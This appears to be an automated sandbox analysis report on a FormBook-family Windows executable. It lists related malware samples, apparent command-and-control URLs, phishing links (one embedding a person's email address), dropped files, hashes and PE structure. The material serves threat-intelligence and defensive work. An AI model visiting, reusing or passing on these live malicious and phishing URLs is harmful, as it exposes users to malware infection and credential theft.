	http://rum.browser-intake-foxbusiness.com:443	Get hash	malicious	Unknown	Browse	rum.browser-intake-foxbusiness.com:443/
	http://browser-intake-foxbusiness.com	Get hash	malicious	Unknown	Browse	browser-intake-foxbusiness.com/
	aMVimXl3J6.exe	Get hash	malicious	FormBook	Browse	www.healthinsuranceudeserve.com/kh11/?Yr=DbvxavN0kTq4E&ntS0L=1H3nvWnZjx+kOq+b3inDsNTp35kb7Yw3MUDOPsdY5ZonUKiwsqJJyt4MaNJ5mtic8z8SCIdgGw==
	LF20240228.exe	Get hash	malicious	FormBook	Browse	www.fast-homeinsurance.com/hy07/?ZhlD=mYc7DAfFIXsnR5XI4bXVULdHqAETEpg2uGSuZcmPRmw897JoUH0zysUuzYAfVy/JlsH7&b6A=tZIxBtJPg0V4O
162.0.213.94	RFQ- PNOC- MR 29215 - PJ 324 AL SAILIYA MOSQUE Project.exe	Get hash	malicious	FormBook	Browse	www.zyfro.info/hnng/
	PO#86637.exe	Get hash	malicious	FormBook	Browse	www.syvra.xyz/h2bb/
	PI 30_08_2024.exe	Get hash	malicious	FormBook	Browse	www.syvra.xyz/h2bb/
	REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.kryto.top/09dt/
	factura-630.900.exe	Get hash	malicious	FormBook	Browse	www.syvra.xyz/h2bb/
	PAGO $630.900.exe	Get hash	malicious	FormBook	Browse	www.syvra.xyz/h2bb/
	QSFD.exe	Get hash	malicious	FormBook	Browse	www.princestun.xyz/n5mw/?68YL4=NtfoMqxWvboNlKrSljDMsJlBryyMW+EpK2NVcn2/0I1oKqymTxIT6zJKN0ZuwJhX9ergv3TNlgjObhSZFizOZXKOR4lLjJiElan/als/iv7JzBcnvYJBrer1blIjywcuzitohjQ=&W8T0s=9n9Poz6
	!2#4.exe	Get hash	malicious	FormBook	Browse	www.princestun.xyz/n5mw/?IRHpZ0L0=NtfoMqxWvboNlKrVgjDi+u5ev237R5YpK2NVcn2/0I1oKqymTxIT6zJKN0ZuwJhX9ergv3TNlgjObhSZFizOYVaTR9ZKjKfRg67oZl8/i6Dn1xcrvY8lwbY=&NXK=k644bhNH
	64MXEd79F1.exe	Get hash	malicious	FormBook	Browse	www.princestun.xyz/n5mw/?pZXDmpb8=NtfoMqxWvboNlKrSljDMsJlBryyMW+EpK2NVcn2/0I1oKqymTxIT6zJKN0ZuwJhX9ergv3TNlgjObhSZFizOZXKOR4lLjJiElan/als/iv7JzBcnvYJBrer1blIjywcuzitohjQ=&fv=tdYXXJI8Drl4
	Quote - V-24-TOS-082.exe	Get hash	malicious	FormBook	Browse	www.nuelahome.info/34ta/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77980.bodis.com	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	8mwXY7Lh2phgnOz.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	Ii4XtPGi5n3AWmt.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	QSFD.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	PO TIYEY078K.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.59.243.226
	!2#4.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	rPHOTO09AUG2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	PO AFHOR9301604.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	Quote - V-24-TOS-082.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
www.rigintech.info	AED 47,000.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
www.rigintech.info	PgbcaAGOnA.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
869710.parkingcrew.net	https://cw-trk.checkyournewprotal.com/ga/click/2-80946765-4164-20354-40097-22548-16858ffb5f-f550aa5f1d	Get hash	malicious	Unknown	Browse	13.248.151.237
	v2XwLpMqG5.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	Ota2Wn3EP3.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	BORI4x10091021.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	ledger.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	Swift Copy.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	Y0GEeY1WOWNMYni.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	7da1ac7cd7a61715807d49e8c79b054ba302b3988ba19.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Tofsee Xmrig	Browse	99.81.40.78
	Pending DHL Shipment Notification REF 9-02-21.exe	Get hash	malicious	FormBook	Browse	99.81.40.78
	Payment Copy.doc	Get hash	malicious	FormBook	Browse	99.81.40.78
www.wildenmann.shop	PO TIYEY078K.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	91.203.110.247
	PO AFHOR9301604.exe	Get hash	malicious	FormBook	Browse	91.203.110.247
	Quote - V-24-TOS-082.exe	Get hash	malicious	FormBook	Browse	91.203.110.247
	AED 47,000.exe	Get hash	malicious	FormBook	Browse	91.203.110.247
	PO JAN 2024.exe	Get hash	malicious	FormBook	Browse	91.203.110.247
	All_requests_and_company_profile.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.203.110.247
	RFQ_DATA_AND_PROFILE.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.203.110.247
	Quote_Requests_data_and_profile.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.203.110.247
	New_requests_and_profile.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.203.110.247
	Request_for_Quotation_All_data.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.203.110.247
www.4odagiyn.click	Payment Advice_pdf.exe	Get hash	malicious	FormBook	Browse	72.52.178.23
	AED 47,000.exe	Get hash	malicious	FormBook	Browse	43.154.67.170
	PAY-0129.exe	Get hash	malicious	FormBook	Browse	43.154.67.170
	CamScanner_12-12-2023_01.03.exe	Get hash	malicious	FormBook, zgRAT	Browse	43.154.67.170
	QfCRNUUnbY.exe	Get hash	malicious	FormBook, NSISDropper	Browse	43.154.67.170
	PO_138659.exe	Get hash	malicious	FormBook	Browse	43.154.67.170
	5.exe	Get hash	malicious	FormBook, NSISDropper	Browse	43.154.67.170
	DHL_SOA_1004404989.exe	Get hash	malicious	FormBook	Browse	43.154.67.170
	BL_NO_WWSNSA0212JAE.exe	Get hash	malicious	FormBook	Browse	43.154.67.170
	Purchase_order.exe	Get hash	malicious	FormBook, NSISDropper	Browse	43.154.67.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TANDEMUS	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.sh4.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	15.197.148.33
	MV ALIADO - S-REQ-19-00064 List items.exe	Get hash	malicious	FormBook	Browse	15.197.204.56
	SyncTextReader.exe	Get hash	malicious	FormBook	Browse	15.197.192.55
LIQUIDWEBUS	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	67.227.154.36
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	67.227.154.36
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	192.190.220.186
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	192.190.220.186
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	192.190.220.186
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	72.52.178.23
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	72.52.178.23
	https://tiangco.com/?tgc=dGVzdEB0aWFuZ2NvLmNvbS3igJxUZXN0IFVzZXI=	Get hash	malicious	HTMLPhisher	Browse	50.28.1.103
	http://marketing.blizzfull.com/r/?to=https://outerbanksgear.com/act/ahges/brandy.wood@wildlife.ca.gov	Get hash	malicious	Unknown	Browse	50.28.99.49
	http://readabilityscore.com	Get hash	malicious	Unknown	Browse	67.225.218.25
BODIS-NJUS	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.226
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	199.59.243.226
	MV ALIADO - S-REQ-19-00064 List items.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	SecuriteInfo.com.Script.SNH-gen.5224.29912.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	http://readabilityscore.com	Get hash	malicious	Unknown	Browse	199.59.243.205
ACPCA	http://jan47nfhc.3utilities.com/#SAK0BE-SUREJACKZ3J6ZWdvcnouZ2FsYXJhQGNjYy5ldQ==	Get hash	malicious	Unknown	Browse	162.0.209.83
	RFQ- PNOC- MR 29215 - PJ 324 AL SAILIYA MOSQUE Project.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	220204-TF1--00.exe	Get hash	malicious	FormBook	Browse	162.55.254.209
	20-EM-00- PI-INQ-3001.exe	Get hash	malicious	FormBook	Browse	162.55.254.209
	Rockwool group_SKM_C590368369060_417161.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	162.0.217.108
	PO#86637.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	https://sweet-solomon.67-23-166-125.plesk.page/dave_jackson_tremblay/fouleebel--_--legardaise/victorien--_--.andre/tonysandrine.--_--henedieu/david.hernandez--_--aristizabal	Get hash	malicious	Unknown	Browse	162.55.246.61
	RFQ STR-160-01.exe	Get hash	malicious	FormBook	Browse	162.55.254.209
	firmware.arm-linux-gnueabihf.elf	Get hash	malicious	Unknown	Browse	162.48.22.207
	PI 30_08_2024.exe	Get hash	malicious	FormBook	Browse	162.0.213.94

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Okeghem

Process:	C:\Users\user\Desktop\0XLuA614VK.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	86022
Entropy (8bit):	4.178866841846399
Encrypted:	false
SSDEEP:	1536:IZdNJ184vEfdrTfoWX5eYZe6fjIzpEeAJlA:YdN0IWE0VIfAJG
MD5:	351A84B23D9E278A7241FD1086E178C8
SHA1:	10CC60CD6E89B6D0C2B375BFC4C7939B49B05650
SHA-256:	F0B085F40976D8920799C7338A25DEA2B76719F61D0F015F805BC2EB079BC287
SHA-512:	BBAE7474ADC078210393EE59489FAF74364498C398CD1BB221F9E89AED733E8C107BA2099C7063F6373AE0EA1217C5A4083897FF7D0CBCF471077DE94168CABB
Malicious:	false
Reputation:	low
Preview:	30O78W35R35B38V62E65D63B38V31U65D63W63O63M30F32T30G30A30Q30K35U36B35L37S62S38N36L62R30I30J30Y30W30V30Q36O36H38W39A34G35G38I34N62A39S36S35D30A30W30Y30E30A30R36N36G38C39S34H64D38S36I62S61F37H32C30K30L30Y30J30A30H36R36C38Z39X35U35L38Y38F62S38G36S65M30U30Y30T30O30N30Q36A36M38T39B34T35I38U61M62A39T36W35O30T30E30J30N30M30P36V36H38B39Q34V64Q38G63U62V61C36O63M30N30U30D30U30S30V36I36W38O39U35O35E38D65I62E38L33I33J30P30E30F30A30X30Y36W36G38V39R34I35W39G30U62H39N33F32D30O30X30Z30A30R30W36Q36K38J39I34T64H39C32H62R61D32G65Y30N30X30Y30Y30P30P36R36B38T39S35O35K39G34G62T38J36V34R30M30R30S30G30M30W36I36I38D39Y34V35N39S36L62Z39Z36X63H30O30T30R30R30H30V36T36J38V39N34C64F39I38P62H61Q36G63U30N30R30S30Q30T30A36H36D38G39F35S35Y39Q61D33Z33U63Q30F36R36N38T39T34Z35Q39K63H62K39W36K65L30H30T30H30H30H30J36W36A38P39J38L64J34L34S66H66U66G66R66K66K62P61B37V34P30F30A30N30B30Y30M36S36W38K39I39K35Y34S36S66L66Z66F66D66O66E62S38I36U34M30U30D30H30M30I30D36J36G38F39A38L35E34S38M66A66D66L66J66E66W62V39U36J63E30M30C30D30J30M3

C:\Users\user\AppData\Local\Temp\autC864.tmp

Process:	C:\Users\user\Desktop\0XLuA614VK.exe
File Type:	data
Category:	dropped
Size (bytes):	272384
Entropy (8bit):	7.9934090783519185
Encrypted:	true
SSDEEP:	6144:GliSizvPXmMpg5ehcQvgP0FcKgF4m93rgD6AlyxfR60Ix1/:GllcnXmMRbgnWs3cMgx1/
MD5:	A1FB5C2C967AA8558C7D23183F7AFD9C
SHA1:	46A77E92EADE977BBF0EC71AFB2BC2A413E2AF3B
SHA-256:	ACC62B73F9AFC1FFA76DFD1823BB3B6E2257EF8058CF8E7DAF733FD584ED9EF2
SHA-512:	04E2A1888D8751774ECAF2D0A55BC92ACAC79E0212771355D8DA9C7D6644A72A574D1686CC065900D04C08EDC22B29560FCFAC7D2F9B5698544B65B3424B03EC
Malicious:	false
Reputation:	low
Preview:	y.u..03XL...Z..p.W3....[D...SHVFKL4W0WY03XLIM6SHVFKL4W0WY0.XLIC).FV.B...1...g0%:mF!'14*!.4Q97_Gx.,mD&&v/%lp.cw4_W=bD@<wHVFKL4WIVP..8+.pV4.k&,...cPT.V...o(1.Q..7>.a1/!pV4.VFKL4W0W.u3X.HL6..K.KL4W0WY0.XNHF7XHVPOL4W0WY03X.ZM6SXVFK\|0W0W.03HLIM4SHPFKL4W0W_03XLIM6SxRFKN4W0WY01X..M6CHVVKL4W WY 3XLIM6CHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL.#U/-03X.]I6SXVFKZ0W0GY03XLIM6SHVFKL.W07Y03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLI

C:\Users\user\AppData\Local\Temp\autC894.tmp

Process:	C:\Users\user\Desktop\0XLuA614VK.exe
File Type:	data
Category:	dropped
Size (bytes):	43554
Entropy (8bit):	7.821532738392043
Encrypted:	false
SSDEEP:	768:Wf6Iuqd0f4ibxUJKNtFqya/QHtfwDTiP3qWimuAKNcsrWwyQcB:a6VqOf4ipNXVaYHJwHiPknNcMcB
MD5:	D03333BB1A2FC1DFA578E0A1D89A0ECD
SHA1:	1431DB53B5F90FCA1B45D11090C389516E879192
SHA-256:	BDBAB462F22FC6403D62F7037D0E9D1C8FDE99074B29B26FC4CD2D32D8456A44
SHA-512:	BDEAE11C6D2F090023C6997055B35569453DB2EBC6048BB6AD0DCF93F97F5056AD055023822B4F15A07BB602A855029D174F17CF9B54C3CF77CD6E8D7092857B
Malicious:	false
Reputation:	low
Preview:	EA06..P...).y.^g5.L.)..6.Qf.Z$.f....5P..6....:l.aF...9..g0.......3..fsj..kL...si.Ng8.L....3.Rfs.T.aY...9.X...S.sjD.....fsJ<.kG..)39.:m2...59..3.......E...S9....TP...."m4.L....$...Lh.9."g2..C..`..J.6..9...C..+S9.`....'.....EQ......0......>g0..QT...3.U&s...iT..i39.Vm1..QUI.......TP.....E.9.X.b.L.5...6.T@...6.U.......qS... .5S..f...qO..@'.\|.kE..(.i.....S&s:L.f..T..0..X..@....3..sJL.j......."g9.L.`3...>.-+@(9.P&..e.g8.L. .%Rm4.-(s9. ...Lh.9..m5..Q@.p..P..Q...uS...`...6......biR...@.U..2..l@'..g9....9.8.v...c...mX.L...UP....).!...J...9..m4..U.....6..^..........Z..B..g9.L...d....fu....3.'(...8...L...3...!....<..)s`!......@.x...T...g9..).i.g4.L.9..6.Uf....6.<...Bm1.L..!.@..@.......k <..aI.x.(...[6..&...6.Q&.DD..5...Y...W.@....Q.GP...\..).E..A8.....(.8..".j........:(..C.K.@......Q@L...6.U.sJ\|.cE.?. .p..C..@.....E.L.`..@....lU..j.3.T.H.,....M.`..D......y....I..AD.....X.q.}@....j."..m@...Mh...X.*...@...........z..7T..2....4....6..I....ER.#...uRm2.M. .`.q

C:\Users\user\AppData\Local\Temp\avenses

Process:	C:\Users\user\Desktop\0XLuA614VK.exe
File Type:	data
Category:	dropped
Size (bytes):	272384
Entropy (8bit):	7.9934090783519185
Encrypted:	true
SSDEEP:	6144:GliSizvPXmMpg5ehcQvgP0FcKgF4m93rgD6AlyxfR60Ix1/:GllcnXmMRbgnWs3cMgx1/
MD5:	A1FB5C2C967AA8558C7D23183F7AFD9C
SHA1:	46A77E92EADE977BBF0EC71AFB2BC2A413E2AF3B
SHA-256:	ACC62B73F9AFC1FFA76DFD1823BB3B6E2257EF8058CF8E7DAF733FD584ED9EF2
SHA-512:	04E2A1888D8751774ECAF2D0A55BC92ACAC79E0212771355D8DA9C7D6644A72A574D1686CC065900D04C08EDC22B29560FCFAC7D2F9B5698544B65B3424B03EC
Malicious:	false
Reputation:	low
Preview:	y.u..03XL...Z..p.W3....[D...SHVFKL4W0WY03XLIM6SHVFKL4W0WY0.XLIC).FV.B...1...g0%:mF!'14*!.4Q97_Gx.,mD&&v/%lp.cw4_W=bD@<wHVFKL4WIVP..8+.pV4.k&,...cPT.V...o(1.Q..7>.a1/!pV4.VFKL4W0W.u3X.HL6..K.KL4W0WY0.XNHF7XHVPOL4W0WY03X.ZM6SXVFK\|0W0W.03HLIM4SHPFKL4W0W_03XLIM6SxRFKN4W0WY01X..M6CHVVKL4W WY 3XLIM6CHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL.#U/-03X.]I6SXVFKZ0W0GY03XLIM6SHVFKL.W07Y03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLIM6SHVFKL4W0WY03XLI

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.182887764348203
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0XLuA614VK.exe
File size:	1'296'896 bytes
MD5:	562cb5dcba0e691bf01ab2c020c0837e
SHA1:	3ca5eb915edcce7da20a7b6046055cb11333647e
SHA256:	4399aa607bbc0faabced85f15b59b4d01a50d79da07f8d6bc825e358ad417e52
SHA512:	130e921e7bd869c6367a4fe664a5fe9df6432ff5ca3519d9fe4d378b52f4675b89ec9312a02ea8246868326d9c0c65703a45e289478afc7f26ce1ce6310077a9
SSDEEP:	24576:oqDEvCTbMWu7rQYlBQcBiT6rprG8awSX4F1d5Y/j20uMjwr4b:oTvC/MTQYxsWR7aw6yYpw4
TLSH:	8055C0027391C062FFAB92334B5AF6115BBC79260123E61F13981DB9BE705B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C5182F [Tue Aug 20 22:26:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F39A04CAFA3h
jmp 00007F39A04CA8AFh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F39A04CAA8Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F39A04CAA5Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F39A04CD64Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F39A04CD698h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F39A04CD681h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x65f70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x13a000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x65f70	0x66000	d2b8fe8c365b219de1d9575c1cee3331	False	0.9358652152267157	data	7.910809203499628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x13a000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0x5d236	data			1.0003302804238074
